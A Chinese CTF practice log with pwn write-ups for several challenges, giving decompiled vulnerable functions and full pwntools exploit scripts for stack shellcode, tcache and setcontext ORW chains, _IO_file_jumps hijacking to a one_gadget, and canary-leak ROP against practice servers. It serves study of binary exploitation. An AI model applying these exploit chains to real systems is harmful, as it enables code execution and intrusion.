刷题记录3

[GDOUCTF 2023]Random

image-20240514212207480

image-20240514212258989

显然ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [rsp+0h] [rbp-10h] BYREF
int v6; // [rsp+4h] [rbp-Ch]
int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v7 = 100;
sandbox();
v3 = time(0LL);
srand(v3);
for ( i = 0; i < v7; ++i )
{
v6 = rand() % 50;
puts("please input a guess num:");
if ( (unsigned int)__isoc99_scanf("%d", &v5) == -1 )
exit(0);
if ( getchar() != 10 )
exit(1);
if ( v6 == v5 )
{
puts("good guys");
vulnerable();
}
else
{
puts("no,no,no");
}
}
return 0;
}

就是一个猜随机数,然后vul函数中

1
2
3
4
5
6
7
ssize_t vulnerable()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("your door");
return read(0, buf, 0x40uLL);
}

有个栈溢出

1
2
3
4
void haha()
{
__asm { jmp rsp }
}

程序中又有个jmp rsp,同时栈上rwx,显然便是在栈上构造orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import*
# import os
context(arch='amd64', os='linux', log_level='debug')
# libc=ELF('./libc-2.23.so')
path='./RANDOM'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"
orwshell=b"\x48\x89\xc7\x48\x89\xe6\xba\x00\x01\x00\x00\x31\xc0\x0f\x05\xbf\x01\x00\x00\x00\x48\x89\xe6\x6a\x01\x58\x0f\x05"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')


local=0

def run():
if local:
return process(path)
return remote('node5.anna.nssctf.cn',23245)

def debug(duan=0):
if local:
if duan:
gdb.attach(p,duan)
pause()
return
gdb.attach(p)
pause()
# add_rsp_ret=0x00000000004006aa # add rsp, 8 ; ret
shellcode = asm(shellcraft.cat('flag'))
shellcode = shellcode.ljust(0x28,b'\x00')
sub_rsp_call_rsp=b"\x48\x83\xec\x30\xff\xd4"
jmp_rsp=0x040094E
pal= shellcode +p64(jmp_rsp)+sub_rsp_call_rsp

while(1):
p=run()
sla(b'please input a guess num:\n',b'1')
sleep(0.001)
data=r(6)
if b'good' in data:
sla(b'your door',pal)
irt()
else:
p.close()

我是直接爆破打的,用shellcraft打通了

但是我看网上师傅的用了一个新奇的手法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from PwnModules import *
import ctypes

context(arch='amd64', os='linux', log_level='debug')

binary = './RANDOM'
io = process(binary)
#io = remote('node5.anna.nssctf.cn', 28512)
elf = ELF(binary)

libc = ctypes.CDLL('libc.so.6')

seed = libc.time(0)
libc.srand(seed)
rand_result = libc.rand() % 50

print(rand_result)

io.sendline(str(rand_result))

使用libc.so.6来获得随机数然后直接输出,很好的手法,让我的大脑无限旋转,学到了

[CISCN 2021 初赛]silverwolf

image-20240514232649821

满保护,坐起来打

image-20240514233916232

又是orw,累了

image-20240514234039441

还因为orw设置规则把堆弄得乱七八糟,真糟心:face_with_thermometer:

2.27打setcontext劫持流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> x/100i 0x7ffff7a34050
0x7ffff7a34050 <setcontext>: push rdi
0x7ffff7a34051 <setcontext+1>: lea rsi,[rdi+0x128]
0x7ffff7a34058 <setcontext+8>: xor edx,edx
0x7ffff7a3405a <setcontext+10>: mov edi,0x2
0x7ffff7a3405f <setcontext+15>: mov r10d,0x8
0x7ffff7a34065 <setcontext+21>: mov eax,0xe
0x7ffff7a3406a <setcontext+26>: syscall
0x7ffff7a3406c <setcontext+28>: pop rdi
0x7ffff7a3406d <setcontext+29>: cmp rax,0xfffffffffffff001
0x7ffff7a34073 <setcontext+35>: jae 0x7ffff7a340d0 <setcontext+128>
0x7ffff7a34075 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x7ffff7a3407c <setcontext+44>: fldenv [rcx]
0x7ffff7a3407e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x7ffff7a34085 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a3408c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a34093 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a34097 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a3409b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a3409f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a340a3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a340a7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a340ae <setcontext+94>: push rcx
0x7ffff7a340af <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a340b3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7ffff7a340ba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a340c1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a340c5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a340c9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a340cd <setcontext+125>: xor eax,eax
0x7ffff7a340cf <setcontext+127>: ret

通过gdb来看setcontext,会发现从+53开始可以控制几乎所有的寄存器,除了rax会变成0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x7ffff7a34085 <setcontext+53>:	mov    rsp,QWORD PTR [rdi+0xa0] //或许可以栈迁移
0x7ffff7a3408c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a34093 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a34097 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a3409b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a3409f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a340a3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a340a7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a340ae <setcontext+94>: push rcx
0x7ffff7a340af <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a340b3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7ffff7a340ba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a340c1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a340c5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a340c9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a340cd <setcontext+125>: xor eax,eax
0x7ffff7a340cf <setcontext+127>: ret

而rdi是第一个参数,因此我们可以将setcontext+53放入_malloc_hook或者_free_hook,malloc或free一个堆块,此时rdi便是堆块的内容指针,因此只要提前在堆块里布置对应的寄存器值,就可以控制基本所有寄存器的值,还可以push一个值

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF

v3[1] = __readfsqword(0x28u);
init_0();
while ( 1 )
{
puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");
__printf_chk(1LL, "Your choice: ");
__isoc99_scanf("%ld", v3);
switch ( v3[0] )
{
case 1LL:
add();
break;
case 2LL:
edit();
break;
case 3LL:
show();
break;
case 4LL:
delete();
break;
case 5LL:
exit(0);
default:
puts("Unknown");
break;
}
}
}

常见的菜单堆题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 add()
{
size_t v1; // rbx
void *v2; // rax
size_t size; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]

v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf("%ld", &size); // =0
if ( !size )
{
__printf_chk(1LL, "Size: ");
__isoc99_scanf("%ld", &size);
v1 = size;
if ( size > 0x78 )
{
__printf_chk(1LL, "Too large");
}
else
{
v2 = malloc(size);
if ( v2 )
{
global_size = v1;
malloc_ptr_0 = v2;
puts("Done!");
}
else
{
puts("allocate failed");
}
}
}
return __readfsqword(0x28u) ^ v4;
}

其中size<=0x78,同时只能同时在内存存在一个malloc内存地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 edit()
{
_BYTE *v0; // rbx
char *v1; // rbp
__int64 v3; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]

v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf("%ld", &v3);
if ( !v3 )
{
if ( malloc_ptr_0 )
{
__printf_chk(1LL, "Content: ");
v0 = malloc_ptr_0;
if ( global_size )
{
v1 = (char *)malloc_ptr_0 + global_size;
while ( 1 )
{
read(0, v0, 1uLL);
if ( *v0 == '\n' )
break;
if ( ++v0 == v1 )
return __readfsqword(0x28u) ^ v4;
}
*v0 = 0; // off-by-null
}
}
}
return __readfsqword(0x28u) ^ v4;
}

这里应该是有一个off-by-one的,但是没有用上

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 show()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf("%ld", &v1);
if ( !v1 && malloc_ptr_0 )
__printf_chk(1LL, "Content: %s\n", (const char *)malloc_ptr_0);
return __readfsqword(0x28u) ^ v2;
}

能泄露

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
__isoc99_scanf("%ld", &v1);
if ( !v1 && malloc_ptr_0 )
free(malloc_ptr_0); // uaf
return __readfsqword(0x28u) ^ v2;
}

显然uaf

首先分为三步

一:泄露heap基址

​ 因为本题有一个沙箱,而该沙箱是通过大量的堆来实现的,因此内存中本身就存在大量的heap

image-20240515234643361

因此只要申请并释放一个0x78就可以泄露heap基址

二:泄露libc基址

这题泄露libc基址十分巧妙,它首先是通过将下一个heap申请到tcache_perthread_struct结构体上,因为该结构体是0x250大小的,而tcache也包含了这个大小,因此劫持这个结构体,将该0x250大小的heap的数量拉满,这样再次释放就将本heap释放到unsortedbin里,再show一下就有libc基址了

image-20240515235042186

三:劫持setcontext

首先我们要先了解tcache_perthread_struct结构体,它上面先是大小,再是每个tcachebin的基址,如果大小是0,那么结构体上的每个tcache的地址就是下一次申请heap的地址(同时也是写的地址)

因此我们构造两个

1
2
3
4
orw1=heap_base+0x3000
orw2=heap_base+0x3060
stack1=heap_base+0x2000
stack2=heap_base+0x20A0

可以将orw上填充满orwshell的rop链,然后用stack1上的tcache来作为free的参数,stack2上便是orw的地址(要再加上一个ret,因为setcontext搞完mov之后便是ret)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import*
context.log_level='debug'

libc=ELF('./libc-2.27.so')
path='./silverwolf'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')


local=1

def run():
if local:
return process(path)
return remote('node4.anna.nssctf.cn',28486)

def debug(duan=0):
if local:
if duan:
gdb.attach(p,duan)
pause()
return
gdb.attach(p)
pause()

p=run()

def add(size=int):
sla(b'Your choice: ',b'1')
sla(b'Index: ',b'0')
sla(b'Size: ',tbs(size))

def edit(content=bytearray):
sla(b'Your choice: ',b'2')
sla(b'Index: ',b'0')
sla(b'Content: ',content)

def show():
sla(b'Your choice: ',b'3')
sla(b'Index: ',b'0')

def delete():
sla(b'Your choice: ',b'4')
sla(b'Index: ',b'0')

#step1 heap_base
add(0x78)
delete()
show()
ru(b'Content: ')
heap_base=u64(r(6).ljust(8,b'\x00'))-0x11b0
leak("heap_base",heap_base)
debug()
#step2 libc_base
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit(p64(0) * 4 + p64(0x0000000007000000))
delete()
show()
debug()
ru(b'Content: ')
libc_base=u64(r(6).ljust(8,b'\x00'))-0x3EBCA0
leak('libc_base',libc_base)
debug()
edit(p64(0) * 4 + p64(0x0000000000000000))
# debug()
#step3 SROP
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215BF
pop_rax = libc_base + 0x43AE8
pop_rsi = libc_base + 0x23EEA
pop_rdx = libc_base + 0x1B96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall = libc_base + 0xE5965
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8AA

orw1=heap_base+0x3000
orw2=heap_base+0x3060

stack1=heap_base+0x2000
stack2=heap_base+0x20A0

payload=b'\x00'*0x40+p64(free_hook) #0x20
payload+=p64(0) #0x30
payload+=p64(flag_addr) #0x40
payload+=p64(stack1) #0x50
payload+=p64(stack2) #0x60
payload+=p64(orw1) #0x70
payload+=p64(orw2) #0x80

edit(payload)
debug()
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rax)+p64(2)+p64(pop_rsi)+p64(0)+p64(syscall)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw1)+p64(pop_rdx)+p64(0x30)+p64(read)
orw+=p64(pop_rdi)+p64(1)+p64(write)

add(0x18)
edit(p64(setcontext))

add(0x38)
edit(b'./flag')

add(0x68)
edit(orw[:0x60])

add(0x78)
edit(orw[0x60:])

add(0x58)
edit(p64(orw1)+p64(ret))

debug()
add(0x48)
delete()

irt()

这道题非常的妙,考察了tcache_perthread_struct结构体的利用和setcontext劫持利用(算是一个堆来控制栈的有效手段)

[SUCTF 2018 招新赛]unlink

image-20240516000224972

libc-2.23.so

[CISCN 2022 华东北]duck

image-20240516122104471

1
strings libc.so.6 | grep 'GLIBC'
image-20240516122335908

估摸是2.34

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-4h]

ini();
while ( 1 )
{
while ( 1 )
{
menu(a1, a2);
v3 = read_1();
if ( v3 != 4 )
break;
edit();
}
if ( v3 > 4 )
{
LABEL_13:
a1 = "Invalid choice";
puts("Invalid choice");
}
else if ( v3 == 3 )
{
show();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete();
}
}
}
}

发现是一个菜单堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int add()
{
int i; // [rsp+4h] [rbp-Ch]
void *v2; // [rsp+8h] [rbp-8h]

v2 = malloc(0x100uLL);
for ( i = 0; i <= 19; ++i ) // max=20
{
if ( !qword_4060[i] )
{
qword_4060[i] = v2;
puts("Done");
return 1;
}
}
return puts("Empty!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int delete()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("Idx: ");
v1 = read_1();
if ( v1 <= 20 && qword_4060[v1] )
{
free((void *)qword_4060[v1]); // uaf
return puts("Done");
}
else
{
puts("Not allow");
return v1;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int show()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("Idx: ");
v1 = read_1();
if ( v1 <= 20 && qword_4060[v1] )
{
puts((const char *)qword_4060[v1]);
return puts("Done");
}
else
{
puts("Not allow");
return v1;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int sub_147A()
{
int v1; // [rsp+8h] [rbp-8h]
unsigned int v2; // [rsp+Ch] [rbp-4h]

puts("Idx: ");
v1 = read_1();
if ( v1 <= 20 && qword_4060[v1] )
{
puts("Size: ");
v2 = read_1();
if ( v2 > 0x100 )
{
return puts("Error");
}
else
{
puts("Content: ");
similar_read(qword_4060[v1], v2);
puts("Done");
return 0;
}
}
else
{
puts("Not allow");
return v1;
}
}

思路

发现只有一个uaf,因此要打劫持io流(不然没有程序ret点

也可以通过environ来打rop

这里通过劫持_IO_file_jumps_IO_new_file_overflow来打的

因为puts函数的时候会调用这个函数,因此直接坐等flag

image-20240516222354249

对puts的栈回溯是这样的

在此之前要先泄露libc基址和heap基址(来加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import*
from ctypes import *
context(os='linux' , arch='amd64' , log_level='debug')

libc=ELF('./libc.so.6')
path='./pwn'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')


local=1

def run():
if local:
return process(path)
return remote('node4.anna.nssctf.cn',28001)

def debug(duan=0):
if local:
if duan:
gdb.attach(p,duan)
pause()
return
gdb.attach(p)
pause()

p=run()

def add():
sla(b'Choice: ',b'1')

def delete(idx=int):
sla(b'Choice: ',b'2')
sla(b'Idx: \n',tbs(idx))

def show(idx=int):
sla(b'Choice: ',b'3')
sla(b'Idx: \n',tbs(idx))

def edit(idx=int,content=bytearray):
sla(b'Choice: ',b'4')
print(1)
sla(b'Idx: \n',tbs(idx))
print(2)
sla(b'Size: \n',tbs(len(content)))
print(3)
sla(b'Content: \n',content)

for i in range(8):
add()
add()
for i in range(8):
delete(i)
info(f'{i} is delete')

show(7)
libc_base=u64(r(6).ljust(8,b'\x00'))-0x1F2CC0
leak('libc_base',libc_base)
# debug()

io_file_jump_addr=libc_base+0x1F4570-0x10
leak('io_file_finish_addr',io_file_jump_addr)
show(0)
heap_base=u64(r(5).ljust(8,b'\x00')) << 12
leak('heap_base',heap_base)
'''
0xda861 execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xda864 execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xda867 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
onegadget=libc_base+0xda864

for i in range(5):
add()

pal=p64((heap_base>>12) ^ io_file_jump_addr) + p64(0)
# debug()
sla(b'Choice: ',b'4')
sla(b'Idx: \n',b'1')
sla(b'Size: \n',b'16')
sla(b'Content: \n',pal)
# debug()
add()
add()
debug()
pal=p64(0)*2+p64(onegadget)
sla(b'Choice: ',b'4')
sla(b'Idx: \n',b'15')
sla(b'Size: \n',b'32')
sla(b'Content: \n',pal)

debug()
irt()

[HDCTF 2023]Makewish

确保命名的py文件不要为pwn.py,不然会报错

rand函数在产生随机数前,需要系统提供的生成伪随机数序列的种子,rand根据这个种子的值产生一系列随机数。
如果系统提供的种子没有变化,每次调用rand函数生成的伪随机数序列都是一样的。

比如:通常可以利用系统时间来改变系统的种子值,即srand(time(NULL)),可以为rand函数提供不同的种子值,进而产生不同的随机数序列。
如果srand(1),因为1是常数,不会变,所以每次调用rand函数生成的伪随机序列都是一样的。

挺有趣的一道题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-38h] BYREF
int v5; // [rsp+Ch] [rbp-34h]
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = rand() % 1000 + 324; // 随机数<1000)+324
puts("tell me you name\n");
read(0, buf, 0x30uLL);
puts("hello,");
puts(buf);
puts("tell me key\n");
read(0, &v4, 4uLL);
if ( v5 == v4 )
return vuln();
puts("failed");
return 0;
}

首先是个随机数,可惜这个随机数是固定的(一开始还忘记了 然后想了很久)

主要就是通过读入buf来覆盖canary低位的\x00然后puts时就会泄露canary,虽然乍一看canary的不会有任何的影响,因为他的return没有体现检查canary的程序,而vuln中,也是我们的主要的操作函数,里面调用了如下的函数,导致了canary也是必要的

image-20240615214729081

因此要看检查canary最好的办法还是看汇编

1
2
3
4
5
6
7
8
9
10
11
__int64 vuln()
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("welcome to HDctf,You can make a wish to me");
buf[(int)read(0, buf, 0x60uLL)] = 0;
puts("sorry,i can't do that");
return 0LL;
}

之后有个buf[?]=0,通过数组越界,修改rbp然后就能把栈往上迁移,然后再填充满ret和backdoor就大功告成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from ctypes import *
context(os='linux' , arch='amd64' , log_level='debug')

# libc=ELF('./libc-2.23.so')
path='./pwn'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')


local=0

def run():
if local:
return process(path)
return remote('node4.anna.nssctf.cn',28988)

def debug(duan=None):
if local:
if duan:
gdb.attach(p, execute=duan)
else:
gdb.attach(p)
pause()

p=run()
ret =0x400902
key=p32(0x2c3)
backdoor=0x04007C7

pal=b'a'*0x20+b'b'*0x8
sla(b'tell me you name\n\n',pal)
ru(b'bbbbbbbb\n')
canary=u64(b'\x00'+r(7))
# canary=p64(0xdeadbeaf)
leak("canary",canary)
sa(b'tell me key\n\n',key)
debug()
payload = p64(ret) * 10
payload += flat([backdoor,canary])
sa("to me\n",payload)


irt()

[HNCTF 2022 WEEK2]intorw

1
int setvbuf(FILE *stream, char *buffer, int mode, size_t size);
  • FILE *stream:指向要设置缓冲区的文件流。

  • char *buffer:指向用作缓冲区的内存。如果为 NULL,则由库自动分配缓冲区。

  • int mode:缓冲模式,可以是以下三个值之一:

    • _IOFBF:全缓冲(Full Buffering)。只有当缓冲区满或调用 fflushfclosefseekfsetpos 等函数时,才会实际执行 I/O 操作。
    • _IOLBF:行缓冲(Line Buffering)。当输出一个换行符、缓冲区满或调用 fflushfclosefseekfsetpos 等函数时,才会实际执行 I/O 操作。
    • _IONBF:无缓冲(No Buffering)。每次 I/O 操作都会直接执行,不会使用缓冲区。
  • size_t size:缓冲区的大小。如果 bufferNULL,则忽略此参数。

  • 成功时返回 0

  • 失败时返回非零值。

1
2
3
#define _IOFBF  0  // 全缓冲
#define _IOLBF 1 // 行缓冲
#define _IONBF 2 // 无缓冲

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
signed int v2; // [rsp+18h] [rbp-8h] BYREF
int v3; // [rsp+1Ch] [rbp-4h]

puts("Please enter how many bits you want to read");
__isoc99_scanf("%d", &v2);
if ( v2 <= 99 )
{
v3 = bitschange(v2);
puts("Please enter what you want to read:");
read(0, buf, v3);
}
else
{
printf("You're reading in too many bits!");
}
return 0LL;
}
1
2
3
4
__int64 __fastcall bitschange(unsigned int a1)
{
return a1 >> 3;
}

发现参数是无符号型,显然负数溢出

有沙盒因此orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from ctypes import *
context(os='linux' , arch='amd64' , log_level='debug')

libc=ELF('./libc.so.6')
path='./intorw'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :info(f'{name}====>{hex(addr)}')


local=1

def run():
if local:
return process(path)
return remote('node5.anna.nssctf.cn',20031)

def debug(duan=None):
if local:
if duan:
gdb.attach(p, execute=duan)
else:
gdb.attach(p)
pause()

p=run()

flag=0x601046
vuln=0x04009C4
pop_rdi_ret=0x0000000000400ad3 #0x0000000000400ad3 : pop rdi ; ret
pal=0x28*b'a'+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)
sla(b'Please enter how many bits you want to read\n',b'-1')
sla(b'read:\n',pal)
libc_base=u64(rl()[:-1].ljust(8, b'\x00'))-libc.sym['puts']
libc.address=libc_base
leak("libc_base",libc_base)
# debug()

pop_rdx_rbx_ret=libc_base+0x0000000000090529 # 0x0000000000090529 : pop rdx ; pop rbx ; ret
pop_rsi_ret=libc_base+0x000000000002be51 # 0x000000000002be51 : pop rsi ; ret
pop_rax_ret=libc_base+0x0000000000045eb0 # 0x0000000000045eb0 : pop rax ; ret

open=libc.sym['open']
write=libc.sym['write']
read=libc.sym['read']

pal=0x28*b'a' + p64(pop_rdi_ret) +p64(flag) +p64(pop_rsi_ret) +p64(0)+p64(open)
pal+=p64(pop_rdi_ret)+p64(0x3)+p64(pop_rsi_ret)+p64(elf.bss())+p64(pop_rdx_rbx_ret)+p64(0x50)*2+p64(read)
pal+=p64(pop_rdi_ret)+p64(0x1)+p64(pop_rsi_ret)+p64(elf.bss())+p64(pop_rdx_rbx_ret)+p64(0x50)*2+p64(write)
sla(b'Please enter how many bits you want to read\n',b'-1')
sla(b'read:\n',pal)


# rop=ROP(libc)
# rop.read(0,elf.bss()+0x200,0x6)
# rop.open(elf.bss()+0x200,0)
# rop.read(3,elf.bss()+0x400,0x80)
# rop.puts(elf.bss()+0x400)
# print(rop.dump())

